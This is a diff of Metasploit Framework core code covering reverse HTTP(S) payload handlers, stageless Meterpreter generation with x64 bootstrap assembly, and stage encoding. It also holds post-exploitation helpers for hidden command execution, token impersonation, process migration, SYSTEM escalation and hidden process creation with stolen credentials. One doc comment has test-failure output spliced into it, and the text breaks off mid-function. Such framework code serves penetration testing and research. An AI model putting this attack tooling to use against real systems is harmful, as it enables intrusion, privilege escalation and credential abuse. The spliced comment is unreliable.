# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @param browser_info [Hash] The target profile
#
def on_request_exploit(cli, request, browser_info)
raise NoMethodError, "Module must define its own on_request_exploit method"
end
#
# Converts an ERB-based exploit template into HTML, and sends to client
#
# @param cli [Socket] Socket for the browser
@ -567,7 +571,6 @@ module Msf
# then this is handled as an Array, with the first element
# being the HTML, and the second element is the binding object.
# @param headers [Hash] The custom HTTP headers to include in the response
#
def send_exploit_html(cli, template, headers={})
html = ''
if template.class == Array
@ -578,13 +581,12 @@ module Msf
send_response(cli, html, headers)
end
#
# Generates a target-specific payload, should be called by the module
#
# @param cli [Socket] Socket for the browser
# @param browser_info [Hash] The target profile
# @return [String] The payload
#
def get_payload(cli, browser_info)
arch = browser_info[:arch]
platform = browser_info[:os_name]
@ -618,9 +620,8 @@ module Msf
private
#
# Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead.
#
def send_not_found(cli)
custom_404_url = get_custom_404_url
if custom_404_url.blank?

View File

@ -3,6 +3,7 @@ require 'rex/proto/smb'
require 'rex/proto/ntlm'
require 'rex/proto/dcerpc'
require 'rex/encoder/ndr'
require 'recog'
module Msf
module Exploit::Remote::SMB
@ -45,7 +46,7 @@ module Msf
register_advanced_options(
[
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
OptBool.new('SMBDirect', [ false, 'The target port is a raw SMB service (not NetBIOS)', true ]),
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),

View File

@ -35,7 +35,7 @@ module Exploit::Remote::SMB::Client::Psexec
# Retrieve the SERVICE_NAME option, generate a random
# one if not already set.
#
# @return service_name [String] the name of the service.
# @return [String] service_name the name of the service.
def service_name
@service_name ||= datastore['SERVICE_NAME']
@service_name ||= Rex::Text.rand_text_alpha(8)
@ -44,7 +44,7 @@ module Exploit::Remote::SMB::Client::Psexec
# Retrieve the SERVICE_DISPLAY_NAME option, generate a random
# one if not already set.
#
# @return service_display_name [String] the display name of the service.
# @return [String] the display name of the service.
def display_name
@display_name ||= datastore['SERVICE_DISPLAY_NAME']
@display_name ||= Rex::Text.rand_text_alpha(16)
@ -52,7 +52,7 @@ module Exploit::Remote::SMB::Client::Psexec
# Retrieve the SERVICE_DESCRIPTION option
#
# @return service_description [String] the service description.
# @return [String] the service description.
def service_description
@service_description ||= datastore['SERVICE_DESCRIPTION']
end

View File

@ -77,6 +77,9 @@ module Handler
# Initialize the pending_connections counter to 0
self.pending_connections = 0
# Initialize the sessions counter to 0
self.sessions = 0
# Create the waiter event with auto_reset set to false so that
# if a session is ever created, waiting on it returns immediately.
self.session_waiter_event = Rex::Sync::Event.new(false, false)
@ -234,10 +237,14 @@ protected
# Decrement the pending connections counter now that we've processed
# one session.
self.pending_connections -= 1
# Count the number of sessions we have registered
self.sessions += 1
end
attr_accessor :session_waiter_event # :nodoc:
attr_accessor :pending_connections # :nodoc:
attr_accessor :sessions # :nodoc:
end

View File

@ -1,8 +1,10 @@
# -*- coding: binary -*-
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
require 'msf/core/handler/reverse_http/uri_checksum'
require 'rex/payloads/meterpreter/patch'
require 'rex/payloads/meterpreter/uri_checksum'
require 'rex/parser/x509_certificate'
require 'msf/core/payload/windows/verify_ssl'
module Msf
module Handler
@ -15,7 +17,8 @@ module Handler
module ReverseHttp
include Msf::Handler
include Msf::Handler::ReverseHttp::UriChecksum
include Rex::Payloads::Meterpreter::UriChecksum
include Msf::Payload::Windows::VerifySsl
#
# Returns the string representation of the handler type
@ -160,7 +163,7 @@ module ReverseHttp
def stop_handler
if self.service
self.service.remove_resource("/")
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0
Rex::ServiceManager.stop_service(self.service) if self.sessions == 0
end
end
@ -217,6 +220,8 @@ protected
uri_match = process_uri_resource(req.relative_resource)
self.pending_connections += 1
# Process the requested resource.
case uri_match
when /^\/INITPY/
@ -252,7 +257,6 @@ protected
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,
})
self.pending_connections += 1
when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
@ -291,12 +295,15 @@ protected
blob = obj.stage_payload
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
#
# Patch options into the payload
#
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
:ssl => ssl?,
:url => url,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
@ -304,7 +311,7 @@ protected
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass']
:proxy_pass => datastore['PayloadProxyPass'])
resp.body = encode_stage(blob)
@ -340,6 +347,7 @@ protected
resp.code = 200
resp.message = "OK"
resp.body = datastore['HttpUnknownRequestResponse'].to_s
self.pending_connections -= 1
end
cli.send_response(resp) if (resp)

View File

@ -0,0 +1,75 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/parser/x509_certificate'
require 'rex/payloads/meterpreter/uri_checksum'
module Msf
##
#
# Helper functionality for handling of stageless http(s) payloads
#
##
module Handler::ReverseHttp::Stageless
include Msf::Payload::Windows::VerifySsl
include Rex::Payloads::Meterpreter::UriChecksum
def initialize_stageless
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
], self.class)
end
def generate_stageless(&block)
checksum = generate_uri_checksum(URI_CHECKSUM_CONN)
rand = Rex::Text.rand_text_alphanumeric(16)
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/#{checksum}_#{rand}/"
unless block_given?
raise ArgumentError, "Stageless generation requires a block argument"
end
# invoke the given function to generate the architecture specific payload
block.call(url) do |dll|
# TODO: figure out this bit
# patch the target ID into the URI if specified
#if opts[:target_id]
# i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
# if i
# t = opts[:target_id].to_s
# raise "Target ID must be less than 5 bytes" if t.length > 4
# u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
# print_status("Patching Target ID #{t} into DLL")
# dll[i, u.length] = u
# end
#end
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
:url => url,
:ssl => true,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass'])
end
end
end
end

View File

@ -43,7 +43,8 @@ module ReverseHttps
register_advanced_options(
[
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"])
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]),
OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"])
], Msf::Handler::ReverseHttps)
end

View File

@ -57,6 +57,10 @@ class Module
# datastore, consumed by #replicant to allow clean override of MSF module methods.
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
# The set of keys in {#user_data} that make {#user_data_is_match?} return
# true
MATCH_KEYS = Set.new([ :match, :match_set, :run ])
# Make include public so we can runtime extend
public_class_method :include
@ -278,6 +282,14 @@ class Module
raise RuntimeError, "#{reason.to_s}: #{msg}"
end
# Whether {#user_data} contains everything necessary to make a
# `MetasploitDataModels::AutomaticExploitation::MatchResult`
#
# @return [bool]
def user_data_is_match?
user_data.kind_of?(Hash) && Set.new(user_data.keys).superset?(MATCH_KEYS)
end
##
#
# Just some handy quick checks
@ -295,6 +307,7 @@ class Module
# The array of zero or more platforms.
#
attr_reader :platform
#
# The reference count for the module.
#
@ -315,6 +328,15 @@ class Module
#
attr_accessor :error
# An opaque bag of data to attach to a module. This is useful for attaching
# some piece of identifying info on to a module before calling
# {Msf::Simple::Exploit#exploit_simple} or
# {Msf::Simple::Auxiliary#run_simple} for correlating where modules came
# from.
#
# @see #user_data_is_match?
attr_accessor :user_data
protected
#

View File

@ -17,7 +17,7 @@ module Msf::Payload::Stager
Msf::OptBool.new("EnableStageEncoding", [ false, "Encode the second stage payload", false ]),
Msf::OptString.new("StageEncoder", [ false, "Encoder to use if EnableStageEncoding is set", nil ]),
Msf::OptString.new("StageEncoderSaveRegisters", [ false, "Additional registers to preserve in the staged payload if EnableStageEncoding is set", "" ]),
Msf::OptBool.new("StageEncodingFallback", [ false, "Fallback to default encoders or no encoding if the selected StageEncoder is not compatible", true ])
Msf::OptBool.new("StageEncodingFallback", [ false, "Fallback to no encoding if the selected StageEncoder is not compatible", true ])
], Msf::Payload::Stager)
end
@ -221,22 +221,11 @@ module Msf::Payload::Stager
# @return [String] Encoded version of +stg+
def encode_stage(stg)
return stg unless encode_stage?
stage_enc_mod = []
stage_enc_mod = nil
# Handle StageEncoder if specified by the user
if datastore['StageEncoder'].to_s.length > 0
# Allow multiple encoders separated by commas
stage_enc_mod = datastore["StageEncoder"].split(',').map(&:strip).select{|x| x.to_s.length > 0}.uniq
end
# Add automatic encoding as a fallback if needed
if datastore['StageEncodingFallback']
stage_enc_mod << nil
end
# If fallback has been disabled and no encoder was parsed, exit early and rop the session
if stage_enc_mod.length == 0
raise RuntimeError, "StageEncoder is invalid and StageEncodingFallback is disabled"
stage_enc_mod = datastore["StageEncoder"]
end
# Allow the user to specify additional registers to preserve
@ -247,34 +236,32 @@ module Msf::Payload::Stager
saved_registers.strip!
estg = nil
stage_enc_mod.each do |encoder_refname_from_user|
begin
# Generate an encoded version of the stage. We tell the encoding system
# to save certain registers to ensure that it does not get clobbered.
encp = Msf::EncodedPayload.create(
self,
'Raw' => stg,
'Encoder' => encoder_refname_from_user,
'Encoder' => stage_enc_mod,
'EncoderOptions' => { 'SaveRegisters' => saved_registers },
'ForceSaveRegisters' => true,
'ForceEncode' => true)
if encp.encoder
print_status("Encoded stage with #{encp.encoder.refname}")
if stage_enc_mod
print_status("Encoded stage with #{stage_enc_mod}")
else
print_status("Encoded stage with #{encp.encoder.refname}")
end
estg = encp.encoded
break
end
end
if datastore['StageEncodingFallback'] && estg.nil?
print_warning("StageEncoder failed, falling back to no encoding")
estg = stg
end
unless estg
raise RuntimeError, "Stage encoding failed and StageEncodingFallback is disabled"
rescue
if datastore['StageEncodingFallback'] && estg.nil?
print_warning("StageEncoder failed, falling back to no encoding")
estg = stg
else
raise RuntimeError, "Stage encoding failed and StageEncodingFallback is disabled"
end
end
estg

View File

@ -99,14 +99,14 @@ module Payload::Windows::ReverseHttp
raise ArgumentError, "Minimum StagerURILength is 5"
end
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
"/" + generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, uri_req_len)
end
#
# Generate the URI for the initial stager
#
def generate_small_uri
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)
"/" + generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW)
end
#

View File

@ -108,8 +108,7 @@ module Payload::Windows::ReverseWinHttp
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
#
@ -121,7 +120,7 @@ module Payload::Windows::ReverseWinHttp
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
if opts[:ssl] && opts[:verify_cert_hash]
verify_ssl = true
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
end

View File

@ -2,7 +2,7 @@
require 'msf/core'
require 'msf/core/payload/windows/reverse_winhttp'
require 'rex/parser/x509_certificate'
require 'msf/core/payload/windows/verify_ssl'
module Msf
@ -17,6 +17,7 @@ module Msf
module Payload::Windows::ReverseWinHttps
include Msf::Payload::Windows::ReverseWinHttp
include Msf::Payload::Windows::VerifySsl
#
# Register reverse_winhttps specific options
@ -49,27 +50,13 @@ module Payload::Windows::ReverseWinHttps
#
def generate
verify_cert = false
verify_cert_hash = nil
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
unless datastore['HandlerSSLCert']
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
else
verify_cert = true
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
end
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
end
end
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
if verify_cert_hash
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
end
@ -78,7 +65,6 @@ module Payload::Windows::ReverseWinHttps
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri,
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount'])
end
@ -89,7 +75,6 @@ module Payload::Windows::ReverseWinHttps
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC'],
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount']
}

View File

@ -1,6 +1,7 @@
#-*- coding: binary -*-
require 'msf/core'
require 'rex/payloads/meterpreter/patch'
module Msf
@ -50,7 +51,7 @@ module Payload::Windows::StagelessMeterpreter
asm
end
def generate_stageless_meterpreter(url = nil)
def generate_stageless_x86(url = nil)
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
conf = {
@ -75,10 +76,12 @@ module Payload::Windows::StagelessMeterpreter
# the URL might not be given, as it might be patched in some other way
if url
url = "s#{url}\x00"
location = dll.index("https://#{'X' * 256}")
if location
dll[location, url.length] = url
# Patch the URL using the patcher as this upports both ASCII and WCHAR.
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
# If the patching failed this could mean that we are somehow
# working with outdated binaries, so try to patch with the
# old stuff.
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
end
end

View File

@ -0,0 +1,36 @@
# -*- coding: binary -*-
require 'msf/core'
require 'rex/parser/x509_certificate'
module Msf
###
#
# Implements SSL validation check options
#
###
module Payload::Windows::VerifySsl
#
# Get the SSL hash from the certificate, if required.
#
def get_ssl_cert_hash(verify_cert, handler_cert)
unless verify_cert.to_s =~ /^(t|y|1)/i
return nil
end
unless handler_cert
raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured"
end
hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert)
print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}")
hash
end
end
end

View File

@ -0,0 +1,111 @@
#-*- coding: binary -*-
require 'msf/core'
require 'rex/payloads/meterpreter/patch'
module Msf
##
#
# Implements stageless invocation of metsrv in x64
#
##
module Payload::Windows::StagelessMeterpreter_x64
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::ReflectiveDLLLoader
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
db 0x4d, 0x5a ; 'MZ' = "pop r10"
push r10 ; back to where we started
push rbp ; save rbp
mov rbp, rsp ; set up a new stack frame
sub rsp, 32 ; allocate some space for calls.
; GetPC
call $+5 ; relative call to get location
pop rbx ; pop return value
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader()
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
call rbx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; offset from ReflectiveLoader() to the end of the DLL
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
mov r8, rbx ; r8 points to the extension list
mov rbx, rax ; save DllMain for another call
push 4 ; push up 4, indicate that we have attached
pop rdx ; pop 4 into rdx
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
; push the exitfunk value onto the stack
mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
push 5 ; push 5, indicate that we have detached
pop rdx ; pop 5 into rdx
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
^
asm
end
def generate_stageless_x64(url = nil)
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll'))
conf = {
:rdi_offset => offset,
:length => dll.length,
:exitfunk => datastore['EXITFUNC']
}
asm = asm_invoke_metsrv(conf)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
print_error("Stageless Meterpreter generated with oversized x64 bootstrap.")
return
end
# patch the binary with all the stuff
dll[0, bootstrap.length] = bootstrap
# the URL might not be given, as it might be patched in some other way
if url
# Patch the URL using the patcher as this upports both ASCII and WCHAR.
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
# If the patching failed this could mean that we are somehow
# working with outdated binaries, so try to patch with the
# old stuff.
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
end
end
# if a block is given then call that with the meterpreter dll
# so that custom patching can happen if required
yield dll if block_given?
# append each extension to the payload, including
# the size of the extension
unless datastore['EXTENSIONS'].nil?
datastore['EXTENSIONS'].split(',').each do |e|
e = e.strip.downcase
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x64.dll'))
# append the size, offset to RDI and the payload itself
dll << [ext.length].pack('V') + ext
end
end
# Terminate the "list" of extensions
dll + [0].pack('V')
end
end
end

View File

@ -0,0 +1,210 @@
# -*- coding: binary -*-
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/priv'
require 'msf/core/exploit/mssql_commands'
module Msf
class Post
module Windows
module MSSQL
# @return [String, nil] contains the identified SQL command line client
attr_accessor :sql_client
include Msf::Exploit::Remote::MSSQL_COMMANDS
include Msf::Post::Windows::Services
include Msf::Post::Windows::Priv
# Identifies the Windows Service matching the SQL Server instance name
#
# @param [String] instance the SQL Server instance name to locate
# @return [Hash, nil] the Windows Service instance
def check_for_sqlserver(instance = nil)
target_service = nil
each_service do |service|
if instance.to_s.strip.empty?
# Target default instance
if service[:display] =~ /SQL Server \(|^MSSQLSERVER|^MSSQL\$/i &&
service[:display] !~ /OLAPService|ADHelper/i &&
service[:pid].to_i > 0
target_service = service
break
end
else
if (
service[:display].downcase.include?("SQL Server (#{instance}".downcase) || #2k8
service[:display].downcase.include?("MSSQL$#{instance}".downcase) || #2k
service[:display].downcase.include?("MSSQLServer#{instance}".downcase) || #2k5
service[:display].downcase == instance.downcase # If the user gets very specific
) &&
service[:display] !~ /OLAPService|ADHelper/i &&
service[:pid].to_i > 0
target_service = service
break
end
end
end
if target_service
target_service.merge!(service_info(target_service[:name]))
end
target_service
end
# Identifies a valid SQL Server command line client on the host and sets
# sql_client
#
# @see sql_client
# @return [String, nil] the SQL command line client
def get_sql_client
client = nil
if check_sqlcmd
client = 'sqlcmd'
elsif check_osql
client = 'osql'
end
@sql_client = client
client
end
# Attempts to run the osql command line tool
#
# @return [Boolean] true if osql is present
def check_osql
result = run_cmd('osql -?')
result =~ /(SQL Server Command Line Tool)|(usage: osql)/i
end
# Attempts to run the sqlcmd command line tool
#
# @return [Boolean] true if sqlcmd is present
def check_sqlcmd
result = run_cmd('sqlcmd -?')
result =~ /SQL Server Command Line Tool/i
end
# Runs a SQL query using the identified command line tool
#
# @param [String] query the query to execute
# @param [String] instance the SQL instance to target
# @param [String] server the SQL server to target
# @return [String] the result of query
def run_sql(query, instance = nil, server = '.')
target = server
if instance && instance.downcase != 'mssqlserver'
target = "#{server}\\#{instance}"
end
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
vprint_status(cmd)
run_cmd(cmd)
end
# Executes a hidden command
#
# @param [String] cmd the command line to execute
# @param [Boolean] token use the current thread token
# @return [String] the results from the command
#
# @note This may fail as SYSTEM if the current process
# doesn't have sufficient privileges to duplicate a token,
# e.g. SeAssignPrimaryToken
def run_cmd(cmd, token = true)
opts = { 'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token }
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
res = ""
while (d = process.channel.read)
break if d == ""
res << d
end
process.channel.close
process.close
res
end
# Attempts to impersonate the user of the supplied service
# If the process has the appropriate privileges it will attempt to
# steal a token to impersonate, otherwise it will attempt to migrate
# into the service process.
#
# @note This may cause the meterpreter session to migrate!
#
# @param [Hash] service the service to target
# @return [Boolean] true if impersonated successfully
def impersonate_sql_user(service)
return false if service.nil? || service[:pid].nil? || service[:pid] <= 0
pid = service[:pid]
vprint_status("Current user: #{session.sys.config.getuid}")
current_privs = client.sys.config.getprivs
if current_privs.include?('SeImpersonatePrivilege') ||
current_privs.include?('SeTcbPrivilege') ||
current_privs.include?('SeAssignPrimaryTokenPrivilege')
username = nil
session.sys.process.each_process do |process|
if process['pid'] == pid
username = process['user']
break
end
end
return false unless username
session.core.use('incognito') unless session.incognito
vprint_status("Attemping to impersonate user: #{username}")
res = session.incognito.incognito_impersonate_token(username)
if res =~ /Successfully/i
print_good("Impersonated user: #{username}")
return true
else
return false
end
else
# Attempt to migrate to target sqlservr.exe process
# Migrating works, but I can't rev2self after its complete
print_warning("No SeImpersonatePrivilege, attempting to migrate to process #{pid}...")
begin
session.core.migrate(pid)
rescue Rex::RuntimeError => e
print_error(e.to_s)
return false
end
vprint_status("Current user: #{session.sys.config.getuid}")
print_good("Successfully migrated to sqlservr.exe process #{pid}")
end
true
end
# Attempts to escalate the meterpreter session to SYSTEM
#
# @return [Boolean] true if escalated successfully or user is already SYSTEM
def get_system
print_status("Checking if user is SYSTEM...")
if is_system?
print_good("User is SYSTEM")
return true
else
# Attempt to get LocalSystem privileges
print_warning("Attempting to get SYSTEM privileges...")
system_status = session.priv.getsystem
if system_status && system_status.first
print_good("Success, user is now SYSTEM")
return true
else
print_error("Unable to obtained SYSTEM privileges")
return false
end
end
end
end # MSSQL
end # Windows
end # Post
end # Msf

View File

@ -8,8 +8,8 @@ module NetAPI
MAX_PREFERRED_LENGTH = -1
SV_TYPE_ALL = 0xFFFFFFFF
SV_TYPE_DOMAIN_ENUM = 0x80000000
SV_TYPE_DOMAIN_BAKCTRL = 10
SV_TYPE_DOMAIN_CTRL = 4
SV_TYPE_DOMAIN_BAKCTRL = 0x00000010
SV_TYPE_DOMAIN_CTRL = 0x00000008
ERROR_ACCESS_DENIED = 5
ERROR_NOT_ENOUGH_MEMORY = 8

View File

@ -8,6 +8,12 @@ module Msf::Post::Windows::Runas
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
include Msf::Post::Windows::Error
ERROR = Msf::Post::Windows::Error
MAX_PATH = 260
STARTF_USESHOWWINDOW = 0x00000001
SW_HIDE = 0
def shell_execute_exe(filename = nil, path = nil)
exe_payload = generate_payload_exe
@ -34,4 +40,217 @@ module Msf::Post::Windows::Runas
select(nil, nil, nil, 1) until session_created?
end
end
#
# Create a STARTUP_INFO struct for use with CreateProcessA
#
# This struct will cause the process to be hidden
#
# @return [String] STARTUP_INFO struct
#
def startup_info
[0, # cb
0, # lpReserved
0, # lpDesktop
0, # lpTitle
0, # dwX
0, # dwY
0, # dwXSize
0, # dwYSize
0, # dwXCountChars
0, # dwYCountChars
0, # dwFillAttribute
STARTF_USESHOWWINDOW, # dwFlags
SW_HIDE, # wShowWindow
0, # cbReserved2
0, # lpReserved2
0, # hStdInput
0, # hStdOutput
0 # hStdError
].pack('VVVVVVVVVVVVvvVVVV')
end
#
# Call CreateProcessWithLogonW to start a process with the supplier
# user credentials
#
# @note The caller should clear up the handles returned in
# the PROCESS_INFORMATION @return hash.
#
# @param domain [String] The target user domain
# @param user [String] The target user
# @param password [String] The target user password
# @param application_name [String] The executable to be run, can be
# nil
# @param command_line [String] The command line or process arguments
#
# @return [Hash, nil] The values from the process_information struct
#
def create_process_with_logon(domain, user, password, application_name, command_line)
return unless check_user_format(user, domain)
return unless check_command_length(application_name, command_line, 1024)
vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...")
create_process = session.railgun.advapi32.CreateProcessWithLogonW(user,
domain,
password,
'LOGON_WITH_PROFILE',
application_name,
command_line,
'CREATE_UNICODE_ENVIRONMENT',
nil,
nil,
startup_info,
16)
if create_process['return']
pi = parse_process_information(create_process['lpProcessInformation'])
print_good("Process started successfully, PID: #{pi[:process_id]}")
else
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil?
end
pi
end
#
# Call CreateProcessAsUser to start a process with the supplier
# user credentials
#
# Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and
# SE_ASSIGNPRIMARYTOKEN_NAME privileges.
#
# This will normally error with 0xc000142 on later OS's (Vista+?) for
# gui apps but is ok for firing off cmd.exe...
#
# @param domain [String] The target user domain
# @param user [String] The target user
# @param password [String] The target user password
# @param application_name [String] Thn executableived :CloseHandle
# with unexpected arguments
# expected: ("testPhToken")
# got: (n be run, can be
# nil
# @param command_line [String] The command line or process arguments
#
# @return [Hash, nil] The values from the process_information struct
#
def create_process_as_user(domain, user, password, application_name, command_line)
return unless check_user_format(user, domain)
return unless check_command_length(application_name, command_line, 32000)
vprint_status("Executing LogonUserA...")
logon_user = session.railgun.advapi32.LogonUserA(user,
domain,
password,
'LOGON32_LOGON_INTERACTIVE',
'LOGON32_PROVIDER_DEFAULT',
4)
if logon_user['return']
begin
ph_token = logon_user['phToken']
vprint_status("Executing CreateProcessAsUserA...")
create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token,
application_name,
command_line,
nil,
nil,
false,
'CREATE_NEW_CONSOLE',
nil,
nil,
startup_info,
16)
if create_process['return']
begin
pi = parse_process_information(create_process['lpProcessInformation'])
ensure
session.railgun.kernel32.CloseHandle(pi[:process_handle])
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
end
print_good("Process started successfully, PID: #{pi[:process_id]}")
else
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
end
return pi
ensure
session.railgun.kernel32.CloseHandle(ph_token)
end
else
print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
end
nil
end
#
# Parse the PROCESS_INFORMATION struct
#
# @param process_information [String] The PROCESS_INFORMATION value
# from the CreateProcess call
#
# @return [Hash] The values from the process_information struct
#
def parse_process_information(process_information)
fail ArgumentError, 'process_information is nil' if process_information.nil?
fail ArgumentError, 'process_information is empty string' if process_information.empty?
pi = process_information.unpack('VVVV')
{ :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
end
#
# Checks the username and domain is in the correct format
# for the CreateProcess_x WinAPI calls.
#
# @param username [String] The target user
# @param domain [String] The target user domain
#
# @raise [ArgumentError] If the username format is incorrect
#
# @return [True] True if username is in the correct format
#
def check_user_format(username, domain)
fail ArgumentError, 'username is nil' if username.nil?
if domain && username.include?('@')
raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil'
end
true
end
#
# Checks the command_length parameter is the correct length
# for the CreateProcess_x WinAPI calls depending on the presence
# of application_name
#
# @param application_name [String] lpApplicationName
# @param command_line [String] lpCommandLine
# @param max_length [Integer] The max command length of the respective
# CreateProcess function
#
# @raise [ArgumentError] If the command_line is too large
#
# @return [True] True if the command_line is within the correct bounds
#
def check_command_length(application_name, command_line, max_length)
fail ArgumentError, 'max_length is nil' if max_length.nil?
if application_name.nil? && command_line.nil?
raise ArgumentError, 'Both application_name and command_line are nil'
elsif command_line && command_line.length > max_length
raise ArgumentError, "Command line must be less than #{max_length} characters (Currently #{command_line.length})"
elsif application_name.nil? && command_line
cl = command_line.split(' ')
